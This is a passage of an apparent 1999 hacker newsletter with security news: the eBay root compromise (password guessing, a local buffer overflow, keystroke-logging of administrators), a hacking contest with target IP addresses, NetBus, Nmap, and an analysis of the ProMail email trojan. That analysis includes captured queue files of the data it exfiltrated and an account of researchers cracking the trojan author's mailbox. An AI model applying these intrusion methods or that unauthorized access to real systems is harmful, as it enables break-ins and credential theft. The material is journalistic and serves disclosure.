networks will be sharing information, not duplicating efforts.
In fact, Tung says that hooking the IDMEP to policy networks could let
users set up automatic responses to alerts and, therefore, ward them off.
"There are a number of dollars to be had in [the intrusion detection
tools] market," says Stuart Staniford-Chen, co-chair of the working group.
In fact, the projected market for intrusion detection tools is expected to
be $200 million, according to analysts at the Aberdeen Group, a Boston
consultancy. "Therefore, we need to get moving on this [protocol]."
Wood says he expects the protocol to be completed by the middle of next
year, but products based on a proposed standard could be released as early
as the first quarter of next year. Cisco and Axent are also working on the
protocol.
@HWA
14.0 Report: Military computers vulnerable
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.usatoday.com/life/cyber/tech/cte684.htm
Report: Military computers vulnerable
WASHINGTON (AP) - The military's key communications
infrastructure linking combat, intelligence and command
forces is dangerously vulnerable to attacks from cyberspace
and requires urgent changes in Defense Department policy,
said a study released Monday.
The Command, Control, Communications, Computers and
Intelligence systems, known as C4I, is compromised by
security problems and also by a military culture prone to
treating such problems as a lesser priority, the National
Research Council reported.
''The rate at which information systems are being relied on
outstrips the rate at which they are being protected,'' it
said. ''The time needed to develop and deploy effective
defenses in cyberspace is much longer than the time
required to develop and mount an attack.''
Despite evidence of security lapses in C4I -- which handles
communications and warning tasks all along the chain of
command -- the Pentagon's ''words regarding the importance
of information systems security have not been matched by
comparable action,'' the report said.
''Troops in the field did not appear to take the protection
of their C4I systems nearly as seriously as they do other
aspects of defense,'' said the report, which Congress
ordered the Pentagon to commission in 1995. The council is
an independent organization chartered by Congress to advise
the government.
The report indicated the problems were due more to the
Pentagon's management of the systems than to the technology
itself. It cited C4I workers' lack of stature compared with
traditional combat forces, compatibility problems between
the services and a need for more budget flexibility on the
matter from both the Defense Department and Congress.
In a statement, the Pentagon acknowledged that the U.S.
military's strength ''is our information technology,'' and
that ''our dependence on such assets, which may be subject
to malicious attack, makes information technology our
weakness as well.''
It said that as the council's report was being prepared,
the Defense Department had already improved protection
against computer attack by implementing new programs,
establishing a joint task force for computer defense and
expanding training of its information technology personnel.
But Kenneth Allard, an analyst who has written about C4I,
said its weaknesses are in part the fault of ''Industrial
Age'' military acquisition policies -- applying to
computers as well as tanks, ships and aircraft -- that give
the services their own procurement duties.
Ships and tanks may perform different tasks, he said, but
the Army, Navy and other services need a single-standard
computer system.
''Twenty-first century combat is the war of the databases,
in which information flows must go from the foxhole to the
White House and back down again,'' said Allard, a former
Army colonel and analyst at the Center for Strategic and
International Studies who had not yet read the council's
report.
The report recommended:
Making C4I a greater budget priority in defense spending,
with a flexibility that can ''exploit unanticipated
advances in C4I technology.''
Designating an organization responsible for providing
direct defensive operational support to commanders.
Funding a program to conduct frequent, unannounced
penetration testing of C4I systems.
Ensuring that programs are operable even if one part has
been penetrated by an adversary.
Emphasizing the importance of information technology in the
military leadership.
Establishing an Institute for Military Information
Technology, possibly as part of an existing body.
------------------------------------------------------------
--------------------
ShadowVrai
http://shadowvrai.evil.nu
______________________
"Did you really think you could call up the devil and ask him to behave?"
__________
_____________________________________________
Get your free personalized email address at
http://www.MyOwnEmail.com
@HWA
15.0 International raid cracks child porn ring
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.cnn.com/TECH/computing/9903/19/germany.porno.reut/index.html
International raid cracks child porn ring
March 19, 1999
Web posted at: 5:35 p.m. EST (2235
GMT)
MUNICH (Reuters) -- German
police said on Friday they had
cracked an international Internet
child pornography ring after
launching a coordinated sweep
through seven countries.
In a raid of private homes coordinated from Munich, German police said
they had confiscated thousands of outlawed photographs and video images
which had been traded and distributed via Internet "chat rooms."
German police said the action, codenamed "Bavaria," had taken place on
Wednesday and involved simultaneous raids of suspects' homes in Germany,
Switzerland, Sweden, Britain, Norway, the United States and Canada.
Holger Kind, an official from the Federal Crime Office, said the material
uncovered had been the widest sweep of its kind led from Germany.
"You can assume this will not be the last raid of its kind," Kind told a news
conference.
Kind said some suspects had already confessed to involvement in the ring. If
convicted in Germany, the suspects could face a prison sentence of up to
five years in jail. Switzerland and Britain have arrested one suspect each.
Police in Sweden and the United States also found banned material in the
raids featuring children between the ages of three and four, police in Bavaria
said.
@HWA
15.1 ACPM : Anti-Child Porn Militia wants YOU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Anti Child Porn Militia
contributed by system.administrator
The Anti Child Porn Militia is recruiting new members.
They are asking for anyone who thinks they can be of
assistance in eliminating child pornography from the
internet to assist them.
http://infovlad.net/ACPM/
From the ACPM site;
We pray for children who are sick. children who
may not live to see their next birthday.... or
tomorrow, children who go into hospitals, never to
come out children who don't deserve to die. We
pray for the children that don't understand why......
why they're not like other children who are healthy
children who play in the sunlight dance on the
grass, children who enjoy life children that don't
think about death.
We pray for children who stare at photographers
from behind barbed wire, who can't run down the
street in a new pair of sneakers, who are born in
places we wouldn't be caught dead in, who live in
an X-rated world.
We pray for those children who never get dessert,
who have no security blanket to drag behind them,
children who watch their parents watch them die.
children who can't find any bread to steal, children
who don't have any rooms to clean up, whose
pictures aren't on anybody's dresser, whose
monsters are real.
We pray for children whose nightmares come in
the daytime, children who will eat anything, who
have never seen a dentist, who aren't spoiled by
anybody, children who go to bed hungry and cry
themselves to sleep. who live and move but have
no being.
We pray for children who want to be carried, and
for those who must be. For those who never get a
second chance. We pray for those children who
will grab the hand of anybody kind enough to offer
it. For these children we pray.
- unknown -
'Hackers wanted:'
http://infovlad.net/ACPM/signup.html
Only sign up if you have some skills and time to help out
don't sign up for bragging rights, you won't be doing anyone
any favours... - Ed
@HWA
16.0 Hacking contest, win a Netfinity server!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Hacking Contest
from HNN
contributed by ju
PC Intern, a german Computer magazine is sponsoring a
contest to draw attention to web server security. They
have set up a WindowsNT and a Linux system with a
hidden file. First person to get the file wins an IBM
Netfinity-server. Try your skillz.
PC Intern: http://www.pcintern.de/hacker.htm
* Welcome to the Web-Hack!
* We wish all participants good luck!
* Look for "hack.txt", please!
* This is the wayto the Linux-Server: IP: 195.227.43.210
* This is the way to the Windows-NT-Server: IP: 195.227.43.211
Is there optimal protection?
The editorial staff of the German computer magazine PC INTERN
wants to draw attention to security of data in web-server-systems
in an outstanding contest.
The hack-event aims at checking and discussing the reliability of
Windows-NT- and Linux-PCs' security. Starting at 9.00 am on
Thursday 18th, 1999, you will find two links on this site which
will lead to the servers to be hacked. On both servers there is
hidden a telephone-number and a password. The person who will
call first telling the password and the way he or she hacked the
server, wins an IBM Netfinity-server. PC INTERN grants the
hackers total exemption from punishment - PC INTERN's single
aim is to expose and discuss the security's weak spots.
On IBM's stage (hall 2, D28) between 1.00 and 2.00 pm, a debate
will finish the web-hack-event. Dr. Harald Feldkamp, editor in
chief, will discuss about security in the world wide web with the
following participants:
Dr. Werner Schmidt
Ministerialrat beim Bundesbeauftragten für den Datenschutz
Wilfried Seiffert
Ministerialrat beim niedersächsischen Landesbeauftragten für den Datenschutz
Frank Kertscher
Principal IT Security für IBM Global Services
Klaus Birkenbihl
GMD Informationstechnik GmbH
Tilmann Müller-Gerbes
Leiter Professional Services bei S.u.S.E.
Felix Höger
Geschäftsführer der NDH Netzwerkdienste Höger
@HWA
17.0 eBay owned
~~~~~~~~~~
http://www.ebay.com
MagicFX cracks eBay
contributed by Code Kid
According to MagicFX eBay has been owned for quite
some time. To prove this on March 13th he replaced the
main web page on one of the servers for a journalist to
confirm. The article goes into detail on just how badly
eBay is owned.
Forbes; http://www.forbes.com/tool/html/99/mar/0319/side1.htm
Going once, going twice ... HACKED!
By Adam L. Penenberg
EBay(nasdaq: EBAY), the hot one-to-one
auction site, was hacked on Saturday March 13
by a 22-year old college student who goes by
the handle MagicFX. But the story doesn't end
there. The hacker maintains access to the site and
can return at will. He has "root" access to eBay's
computers, the same kind the legitimate
administrators enjoy. This means he could change
prices or place fake ads, divert traffic to other sites
or even take down the entire network.
This was starkly illustrated to this reporter on
Wednesday night, when the hacker, to prove his
point, took down eBay's home page for two minutes
and replaced it with the message:
Proof by MagicFX that you can't always trust
people
not even huge companies. (who woulda
known that?)
"It's 9:30 PM . . . do you know who has YOUR credit
card information?"
Although eBay customers don't use credit cards to
pay for merchandise--the site acts as a
middleman--sellers use them to pay the company
service fees. When contacted, the company refused
to comment, saying that unnamed law enforcement
officials had requested that eBay remain silent about
issues surrounding hacking.
Initially, the hacker, who would not divulge his real
name, gained access to eBay's computers on
Saturday afternoon by figuring out what accounts
existed, then trying simple passwords. Since eBay is
an e-commerce site, MagicFX tried words like
"commerce," "trading" and "eBay," until he cracked
one, although he would not divulge the password he
used. He says he was surprised eBay's technicians
didn't use standard password protecting schemes,
which would have meant a mixture of numbers and
letters.
Once inside, MagicFX employed a technique referred
to as a "local root buffer overflow." He ran a script
that transmits too much information into a targeted
zone. The data that can't fit is then manipulated so
that he was able to trick the computer into running
his commands at an elevated privilege.
"I exploited a buffer overflow condition, which
existed in an SUID root program," says the hacker,
who is finishing up a B.S. in computer science. "Then
I used software which I had written myself to get to
the rest of the network. FreeBSD was the first
machine I accessed, the rest were Solaris."
From there, MagicFX modified the system's software
so that instead of providing administrators with a
secure way to work from a remote machine, it
logged that information to a hidden file, so that not
only could he intercept passwords and log in names,
but actually watch everyone's keystrokes.
"After gaining access to more of the network, I tried
to figure out how the service worked. Most of the
web servers run on Windows machines, which use
the SMB protocol to load a template page off a
specified machine and dynamically create the
HTML."
For Saturday's hack, MagicFX left his page up for
about 45 minutes; he claims it was viewed by about
4,000 site visitors. (Hackers often attack on
weekend evenings, because most system
administrators are out of the office.) The reason
more people didn't witness the hack is that eBay
deploys several web servers and balances the load
based on the amount of traffic. Since MagicFX
exploited only one machine for the web page hack,
only users served by that machine could view the
hacked page.
But he claims the company must know about the
hack, since he monitored E-mails from users alerting
the company. He pulled his own page down and
logged off when he spotted a system
administrator--"to be nice."
Mirrors--or copies--of both Saturday's and
Wednesday's hacked eBay pages have been
archived by Brian Martin, a computer security
consultant, on his site attrition.org
(http://www.attrition.org/mirror/attrition/ebay.com)
What does MagicFX say about eBay's security? "I
think they have better security than NASA, but
that's not saying much."
Martin, who also witnessed the Wednesday night
eBay hack, says, "Large systems like eBay are
focused on keeping the money machine running
smoothly, but this has come at the expense of
security. Users should realize that just because a
site says their personal information and credit card
numbers are secure doesn't necessarily make it so."
MagicFX says he hacked eBay, which has a market
cap of more than $18 billion, because he wanted to
see how a large e-commerce site worked from the
inside. Once there, he discovered an added bonus:
eBay uses a proprietary system to do its trading, he
says, and the source code is highly prized in the
hacker world. As a result, a number of hackers have
approached him for a copy, but he has not
complied,, since he hasn't had a chance to sift
through it yet.
This was not the first hack for MagicFX. Recently he
also defaced web sites promoting the movies Varsity
Blues and 200 Cigarettes, "because they got a lot of
hits and I didn't like the movies really." He also hit
monicalewinsky.com because it is "anti-Clinton" and
"ourfirsttime," a site that claimed it would webcast a
man and woman losing their virginity. MagicFX says
he hacked the site to get the word out it was a
media hoax.
"I have learned at least as much by hacking as I
have in school," he says.
External link:
attrition.org
@HWA
18.0 Aussies to ban Net pr0n
~~~~~~~~~~~~~~~~~~~~~~~~
From The Australian
http://technology.news.com.au/techno/4317712.htm
Alston's regime to ban Net nasties
By WAYNE ADAMS and DAN TEBBUTT
20mar99
COMMUNICATIONS and Information Technology Minister Richard Alston
has unveiled a regime that will effectively ban X-rated and Refused
Classification material from the Internet.
"There's no doubt the Internet provides enormous educational and
informational opportunities but, at the same time, it does pose
considerable risks for the community," he said yesterday.
"We are therefore proposing to introduce a new regime that will
hopefully ensure, certainly for Internet sites hosted within Australia,
that we block access to material that is either illegal, Refused
Classification or X-rated and, in relation to R-rated material, is only
available to those over 18 years of age."
The Australian Broadcasting Authority will oversee the regime.
Community and Internet industry groups will be included under the
proposals. They will provide a "hotline" on offensive material and pass
information to the ABA, monitor online sites, advise on complaints
mechanisms and provide community education.
If the ABA thinks content is serious enough, it will be able to prevent
access to the material pending a National Classification Board opinion.
The authority will have to issue a notice to a service provider to halt
access to any content deemed to be proscribed content.
Senator Alston rejected suggestions that the announcement was
related to the Telstra sale or appeasing Independent senator and
morals campaigner Brian Harradine.
"Senator Harradine is probably the most visible public manifestation of
concern, but the fact is that there are many hundreds of thousands of
people in Australia who would have the greatest concern if they
thought that under-age children could have access to illegal or highly
offensive material," he said.
However, Labor's communications spokesman, Stephen Smith, said
Senator Harradine and parents "should not be duped".
"The announcement today is about Australian content, and it's a very
small proportion of Internet content which is locally produced and
locally put online," he said.
Kimberley Heitman, chairman of Internet advocacy group Electronic
Frontiers Australia, said: "This is as bad as it gets they have ignored
everything the Internet industry has said. None of these things will
affect end users. It will just drive content offshore."
@HWA
19.0 More on the Promail email trojan
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Originally reported in the last issue, here's more info from packetstorm on
the Promail email trojan program.
Date: Fri, 19 Mar 1999 09:41:18 +0100
From: Aeon Labs <aeon@army.net>
To: packetstorm@genocide2600.com
Subject: security/privacy news
(Perhaps this might be of interest to Your readers.)
ProMail v1.21, an advanced freeware mail program spread through several
worldwide distribution networks (SimTel.net, Shareware.com and others),
is a trojan.
Upon discovering - through LAN sniffing - that the program would attempt
to connect to SMTP instead of POP3 when a regular mail check was performed,
we reverse-engineered the software.
ALL of the personal user data, including the user's password in encrypted
format, is sent to an account on NetAddress - a free email provider -
as soon as a valid internet connection is detected.
Apart from this "feature", the software is 100 % functional and very
well done.
Well, it seems that 1999 is the worst year for privacy...
More detailed information can be found on our web site at
http://cool.icestorm.net/aeon/news.html
---------------------------------------------------------------------
Aeon Labs
http://cool.icestorm.net/aeon
[http://cool.icestorm.net/aeon/news.html]
03.99]
ProMail v1.21, an advanced freeware mail program for Windows 95/98, is a trojan.
It has been spread through several worldwide distribution networks (SimTel.net,
Shareware.com and others) as proml121.zip.
Upon discovering - through LAN sniffing - that the program would attempt to
connect to SMTP instead of POP3 when a regular mail check was performed, we
reverse-engineered the software.
The executable, which appears to have been created with Borland Delphi, has been
packed with Petite (a shareware Win32-EXE compressor) and then "hexed" to make
disassembly harder.
ProMail v1.21 supports multiple mailboxes; every time a new mailbox is created,
an "ini" file containing the users full name, passwords, email addresses,
servers and more is generated.
Prior to doing any other action, the program performs a check for a valid
network connection which, if found, allows for the sending of ALL of the
personal user data, including the user's password in encrypted format, to an
account on NetAddress - a free email provider.
Apart from this "feature", the software is 100 % functional and very well done.
For further information or a more detailed analysis contact us. <aeon@army.net>
---------------------------------------------------------------------------------
Date: Sat, 20 Mar 1999 03:51:00 -0500 (EST)
From: aeon@army.net
To: packetstorm@genocide2600.com
Subject: Re: your mail
currently our members have disassembled and analyzed the whole executable.
the only thing it appears to do as a trojan is to send the accounts data
entered by the user: full name, organization, email address, user name,
password (encrypted), smtp and pop3 servers, etc.
and since promail supports multiple accounts, each newly created account
is sent.
the data for each account is contained in a text file which is used to
initialize promail at run-time. the same text file is used as body of
the email which is sent to the author (supposedly) of the program.
it appears that all emails are sent with same subject line: "kirio".
the program also creates the file promail.pml in its directory. it's a
zero length file used as permanent flag to "remember" to the trojan that
one or more accounts data could not be sent in the last session (for
example, when accounts are created off-line, or when not followed by a
mail check in the same session).
we also managed to crack the mailbox to which accounts data is sent.
about ~80 emails (== accounts) were found and another dozen was
received after only ten minutes or so.
accounts for microsoft, michigan us army, old bridge chemicals and a
videogames company - amongst the others - were found.
we have merely informed a _contact_ (not the ml) in ntbugtraq and
several "underground" news/security sites.
well you can contact the various *traq mailing lists if you want. we
don't care if people still trust anything that can be downloaded from
the net anyway. i guess we're not exactly "white hat" hackers :P
if you need any help or further analysis on a specific part of the program
please feel free to contact us.
------------------------------------------------------------------------
Aeon Labs <aeon@army.net>
http://cool.icestorm.net/aeon
---------------------------------------------------------------------------------
Date: Sun, 21 Mar 1999 09:40:26 +0100
From: Patrick Oonk <patrick@pine.nl>
To: tattooman@ADRIC.GENOCIDE2600.COM
Subject: [patrick@pine.nl: ProMail trojan proof]
----- Forwarded message from Patrick Oonk <patrick@pine.nl> -----
Hi,
I've tested the ProMail Trojan, it sends the info
to naggamanteh@usa.net using the smtp server you
supply when creating an account.
I'll Cc: abuse@usa.net and bugs@shareware.com
ProMail can still be downloaded at many sites,
just check
http://search.shareware.com/code/engine/File?archive=sim-win95&file=email%2fproml121%2ezip&size=409141
These are the queue files at my smtp server after
I installed ProMail and created an account:
$ more /var/spool/mqueue/qfPAA17183
V2
T921939650
K921939657
N1
P30435
I6/0/88205
M<naggamanteh@usa.net>... reply: read error from office.pine.nl.
Fb
$rSMTP
$sfoo
$_foo.domain.com [10.0.0.1]
S<patrick@pine.nl>
RPFD:<naggamanteh@usa.net>
H?P?Return-Path: <patrick@pine.nl>
HReceived: from foo (foo.domain.com [10.0.0.1])
by bar.domain.com (8.9.1/8.9.1) with SMTP id PAA17183
for <naggamanteh@usa.net>; Sat, 20 Mar 1999 15:20:50 +0100 (MET)
H?D?Date: Sat, 20 Mar 1999 15:20:50 +0100 (MET)
H?F?From: patrick@pine.nl
H?M?Message-Id: <199903201420.PAA17183@bar.domain.com>
HTo: naggamanteh@usa.net
HSubject: kirio
$ more /var/spool/mqueue/dfPAA17183
Name=New Account
[From]
EMail=patrick@pine.nl
Name=Patrick Oonk
Organization=Pine Internet B.V.
[ReplyTo]
EMail=patrick@pine.nl
Name=Patrick Oonk
[POP3]
Server=pop.domain.com
Port=110
User=patrick
Password=1hFATUIxWOkJ3b3N3chBXZrFmZMUE
PromptPassword=0
DoPOP=1
StandardDownload=0
[SMTP]
Server=smtp.domain.com
Port=25
DoSMTP=1
[Filter]
Keep=
Delete=
--
: Patrick Oonk - http://patrick.mypage.org/ - patrick@pine.nl :
: Pine Internet B.V. Consultancy, installatie en beheer :
: Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ :
: -- Pine Security Digest - http://security.pine.nl/ (Dutch) ---- :
: "unix is voor types zonder sociaal leven..." - Patrick van Eijk :
----- End forwarded message -----
--
: Patrick Oonk - http://patrick.mypage.org/ - patrick@pine.nl :
: Pine Internet B.V. Consultancy, installatie en beheer :
: Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ :
: -- Pine Security Digest - http://security.pine.nl/ (Dutch) ---- :
: "unix is voor types zonder sociaal leven..." - Patrick van Eijk :
: A signature starts with "-- <enter>". :
---------------------------------------------------------------------------------
Date: Mon, 22 Mar 1999 18:20:50 +0900 (JST)
From: Aeon Labs <aeon@army.net>
To: packetstorm@genocide2600.com
Subject: ProMAIL users
So far we have collected hundreds of email *addresses*
from naggamanteh@usa.net (only the headers were
retrieved, we don't want their passwords/personal data/etc).
With these addresses, users of ProMail could be warned
about the problem with their passwords.
If you can find people who are willing to do the work,
we'll send you a list of the addresses we have collected.
-----------------------------------------------------------------------------
Aeon Labs <aeon@army.net>
http://cool.icestorm.net/aeon
20.0 C41 - Pentagons cyberdefenses criticized
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pentagons cyberdefenses criticized
Report: Threats arent taken seriously enough by HQ, troops
MSNBC STAFF AND WIRE REPORTS
WASHINGTON, March 22 The militarys key communications infrastructure
is dangerously vulnerable to attacks from cyberspace and requires
urgent changes, according to a new study ordered by Congress and
sponsored by the Pentagon. One avenue the Pentagon was advised
to consider was a change in policy that would allow it to counter
-attack when a cyberattacker strikes.
THE COMMAND, Control, Communications, Computers and Intelligence
systems - known as C4I - is compromised by security problems and also by
a military culture prone to treating such problems as a lesser priority,
a National Research Council committee reported."The rate at which
information systems are being relied on outstrips the rate at which they
are being protected," it said. "The time needed to develop and deploy
effective defenses in cyberspace is much longer than the time required
to develop and mount an attack."
It also suggested the Pentagon consider whether "counter-attack is
an appropriate response to a cyber attack." As U.S. policy now stands,
the Pentagon may not go after cyber attackers, instead handing off
investigations to civilian law enforcement agencies.
Despite evidence of security lapses in C4I - which handles
communications and warning tasks along the chain of command - the
Pentagon's "words regarding the importance of information systems
security have not been matched by comparable action," the report said.
MANAGEMENT CRITICIZED
"Troops in the field did not appear to take the protection of their C4I
systems nearly as seriously as they do other aspects of defense," said
the report, which Congress ordered the Pentagon to commission in 1995.
The council is an independent organization chartered by Congress to advise
the government.
The committee said it observed one military field exercise in which
personnel in an operations center mistakenly took as a joke a cyber
attack on their systems.
The report indicated the problems were due more to the Pentagon
's management of the systems than to the technology itself. It cited C4I
workers' lack of stature compared with traditional combat forces,
compatibility problems between the services and a need for more budget
flexibility on the matter from both the Defense Department and Congress.
PENTAGON'S RESPONSE
In a statement, the Pentagon acknowledged that the military's
strength "is our information technology," and that "our dependence on such
assets, which may be subject to malicious attack, makes information
technology our weakness as well."
It said that as the council's report was being prepared, the
Defense Department had already improved protection against computer attack
by implementing new programs, establishing a joint task force for computer
defense and expanding training of its information technology personnel.
But Kenneth Allard, an analyst who has written about C4I, said
its weaknesses are in part the fault of "Industrial Age" military
acquisition policies - applying to computers as well as tanks, ships and
aircraft - that give the services their own procurement duties.
Ships and tanks may perform different tasks, he said, but the
Army, Navy and other services need a single-standard computer system.
"Twenty-first century combat is the war of the databases, in
which information flows must go from the foxhole to the White House and back
down again," said Allard, a former Army colonel and analyst at the Center
for Strategic and International Studies who had not yet read the council's
report.
RECOMMENDATIONS
The report recommended:making C4I a greater budget priority in defense
spending, with a flexibility that can "exploit unanticipated advances in
C4I technology." Designating an organization responsible for providing
direct defensive operational support to commanders.
o Funding a program to conduct frequent, unannounced penetration
testing of C4I systems.
o Ensuring that programs are operable even if one part has been
penetrated by an adversary.
o Emphasizing the importance of information technology in the military
leadership.
o Establishing an Institute for Military Information Technology,
possibly as part of an existing body.
An archive audio copy of the Senate hearing is
available via the FedNet service at
www.fednet.net/h0322b.htm.
MSNBCs Miguel Llanos and The Associated Press contributed to this report.
@HWA
21.0 [ISN] NetBus 'Trojan' Splits Security Community
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
NetBus 'Trojan' Splits Security Community
(03/02/99, 7:46 p.m. ET)
By Lee Kimber, Network Week
Internet-connected networks could be left vulnerable to Trojan attacks
because leading anti-virus software vendors have said they won't scan and
disable a new, more powerful NetBus Trojan.
Remote-control programs like NetBus were dubbed Trojans because they could
be hidden on computers by crackers. The latest version of NetBus has split
network-security experts because its author said it was not a Trojan as it
remained visible.
But crackers reportedly rewrote it to make it invisible within days of its
launch.
Data Fellows and Sophos said their anti-virus products would not disable
the recently launched remote-control Trojan NetBus 2 Pro because its
Swedish author Carl-Fredrik Neikter was a professional who now charged $12
for a legitimate shareware product.
"NetBus 2.0 Pro is not detected as it is now commercial software,"
according to a spokesman for Data Fellows' European office in Finland.
"NetBus 1.x up to 1.7 was detected by anti-virus scanner F-Secure but not
NetBus 2.0"
Data Fellows' website reported that earlier NetBus versions were used
frequently to steal data and delete files on people's machines.
NetBus lets crackers to take remote control of networked PCs, but
publicity over its spread has been eclipsed by the Back Orifice
remote-control Trojan written by hacker group Cult of the Dead Cow.
But unlike Back Orifice, NetBus can infect Windows NT machines and is more
easily configured. And Neikter described it himself as a "remote
administration and spy tool."
His promotional material also mentioned NetBus provided the ability to
change files and registries. Neikter could not be contacted for comment.
Sophos confirmed it also would not offer NetBus support.
"It is a commercial product and it looks extremely professionally written.
You can use these products for lawful or unlawful purposes," said Jan
Hruska, Sophos technical director.
He added Sophos products did not scan for earlier versions of NetBus but
the company would make a scanning tool available that people could use if
they want to.
But rival vendor Network Associates said it believed NetBus was aimed at
young crackers and joined with other vendors to commit to detecting and
removing the Trojan in Dr Solomon's and McAfee anti-virus products.
"We're carrying on detecting it," said the company's anti-virus consultant
Jack Clark.
"We don't believe a commercial application would have a section in the
manual that says 'have fun with your friends' and has the ability to pop
out the CD tray on users' machines," he added.
And asked if Symantec would update its software to detect the Trojan,
Symantec technical manager Kevin Street replied: "Absolutely. We've
already got it sorted out, so why would we remove it?"
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com]
@HWA
22.0 [ISN] Cracking tools get smarter
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: William Knowles <erehwon@kizmiaz.dis.org>
http://www.wired.com/news/print_version/technology/story/18219.html?wnpg=all
[Wired.com] (3.3.99) With awe and alarm, security analysts have observed
the capabilities of Nmap, a network-scanning program that crackers are now
using to plot increasingly cunning attacks.
"Just before Christmas, we detected a new [network] scanning pattern we'd
never seen before," said John Green, a security expert on the "Shadow"
intrusion-detection team at the US Navy's Naval Surface Warfare Center.
"Other sites have seen the same activity. The problem was, no one knew
what was causing it."
Green made the remarks Tuesday in an online briefing hosted by the SANS
Institute, a nonprofit network-security research and education
organization. The group held the briefing to alert network administrators
of the alarming increase in the strategies of network attacks.
The culprit software prowling outside the doors of networks participating
in the study is Nmap, an existing software utility used by administrators
to analyze networks. In the hands of intruders, security analysts
discovered, Nmap is a potent tool for sniffing out holes and network
services that are ripe for attack.
The analysts didn't look for actual damage that was carried out. Instead,
they silently watched as various networks were scanned by untraceable Nmap
users.
"The intelligence that can be garnered using Nmap is extensive," Green
said. "Everything that the wily hacker needs to know about your system is
there."
Rather than feel in the dark to penetrate network "ports" at random, Nmap
allows intruders to perform much more precise assaults. The implications
are a bit unnerving for the network community. The tool makes planning
network intrusions more effective, while simultaneously bringing this
sophistication to a wider audience of hackers.
"It takes a lot of the brute force out of hacking," said Green. "It allows
[intruders] to map hosts and target systems that might be vulnerable."
And that should result in a higher success rate for attempted intrusions.
"I think we're going to see more coordinated attacks. You can slowly map
an entire network, while not setting off your detection system," said
software developer H. D. Moore, who debriefed network analysts at the
conference.
But Moore is part of the solution. He authored Nlog, software that
automatically logs activity at a network's ports and parlays it to a
database. Weekly checks of the database enable the user to tell if someone
is performing an Nmap analysis.
Nlog serves as a companion tool to Nmap. Just like intruders,
administrators can use Nmap to detect their own network weaknesses, then
plug the holes.
Prevention is the only defense, Green and Moore said. There is no other
known way to combat an Nmap-planned network attack.
"Right now it's basically a suffer-along scenario," Green said. But, at
least, Nmap lets administrators "know what the hackers know about you."
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com]
@HWA
23.0 [ISN] British Defense Ministry Dismisses Hacker Report
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From the ISN list;
Forwarded From: jei@zor.hut.fi
http://nt.excite.com/news/r/990303/12/tech-hackers
British Defense Ministry Dismisses Hacker Report
(Last updated 12:21 PM ET March 3)
LONDON (Reuters) - Britain's Defense Ministry Wednesday dismissed as "not
true" a newspaper report that said hackers had seized control of one of
its military communications satellites and issued blackmail threats.
The Sunday Business newspaper had said the intruders altered the course of
one of Britain's four satellites used by defense planners and military
forces around the world.
"There is no basis to the story whatsoever," said a Defense Ministry
spokesman. "It's not true."
Security sources cited by the newspaper said the satellite's course was
changed just over two weeks ago. The hackers then issued a blackmail
threat, demanding money to stop interfering with the satellite.
A police spokesman said the story was for the Defense Ministry to
investigate. "Military security is a matter for the Defense Ministry," he
said.
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Internet Security Institute [www.isi-sec.com]
@HWA
24.0 [ISN] Encryption key would lock up criminals
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Forwarded From: Fearghas McKay <fm@mids.org>
Originally From: Yaman Akdeniz
http://news.bbc.co.uk/hi/english/sci/tech/newsid_289000/289139.stm
Tuesday, March 2, 1999 Published at 17:18 GMT
Encryption key would lock up criminals
Dr Ross Anderson: "Big business can look after itself."
By Internet Correspondent Chris Nuttall
Cyber-criminals would be caught if the government introduced a system
where the keys to coded e-mail were voluntarily lodged with licensed
authorities, according to the UK National Criminal Intelligence Service
(NCIS).
NCIS was one of the groups appearing before the House of Commons on
Tuesday.
"Criminals are lazy, greedy and they make mistakes," John Abbott, NCIS
Director General told the Trade and Industry Select Committee, which is
hearing witnesses on electronic commerce issues.
"We are able to capitalise on this and we anticipate that a licensing
scheme would allow us to have some successes," said Mr Abbott.
Civil liberties campaign
Civil liberties groups are campaigning against "key escrow" - the term
used for lodging codes with a third party. They do not want it included in
a forthcoming Electronic Commerce Bill.
A long-awaited consultation paper on the bill from the Department of Trade
and Industry (DTI) is expected in the next few days.
Opponents argue the proposed voluntary licensing system where Trusted
Third Parties (TTPs) would hold the keys to encrypted data being sent over
the Internet would never be used by criminals.
But an NCIS spokesman, who declined to be identified, told the hearing
that just as criminals used telephones at every level for their
activities, so some would use the TTPs.
"We would prefer to have a mandatory licensing system because that would
be more inclusive," said Mr Abbott.
"I do recognise that we are moving into new territory, and this would not
be a complete answer, and if all that is on offer is a voluntary scheme
then that is better than no scheme at all."
Real time access
The Chief Investigations Officer of HM Customs & Excise, Richard Kellaway,
told the hearing that real-time access was needed to encrypted data. Mr
Abbott added that it was no use knowing three days afterwards where a
consignment of drugs had been exchanged.
He admitted that key escrow would not solve the problem of crimes being
committed on an international scale over the Internet.
"But I would urge the government to lead. Law enforcement agencies
throughout the world are extremely concerned with developments. We
anticipate the problem will grow over time and certainly the G8 law
enforcement forum are constantly discussing this and looking for ways
forward."
Business concerns
Businesses, as well as civil liberties campaigners, have voiced concern at
the possible proposals on key escrow, and the Post Office stated its
opposition at the hearing.
Jerry Cope, its managing director for strategy, said there were two areas
of concern: "If people feel this system makes them less secure then they
will not want to use it. We need to instil confidence.
"Then there is the additional cost of regulation and if it is greater than
in France or Ireland then business will go elsewhere. It is as easy to
send e- mail from London to Manchester via Paris as it is direct from
London to Manchester."
Mr Cope said there had been a lack of dialogue between business and law
enforcement agencies and he suggested a possible compromise. Agencies
